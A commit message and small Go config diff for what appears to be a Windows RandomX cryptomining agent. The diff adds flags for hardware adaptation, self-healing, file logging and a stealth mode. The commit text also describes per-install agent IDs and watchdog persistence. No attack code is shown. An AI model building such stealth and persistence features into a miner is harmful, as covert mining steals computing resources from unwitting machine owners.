Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/config/builtin.go

@@ -32,5 +32,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		ScheduleEnd:         "06:00",
 		InstallBase:         "localappdata",
 		InstallRelativePath: DefaultInstallRelativePath,
+		AdaptToHardware:     true,
+		SelfHealing:         true,
+		FileLogging:         true,
+		StealthMode:         false,
 	}
 }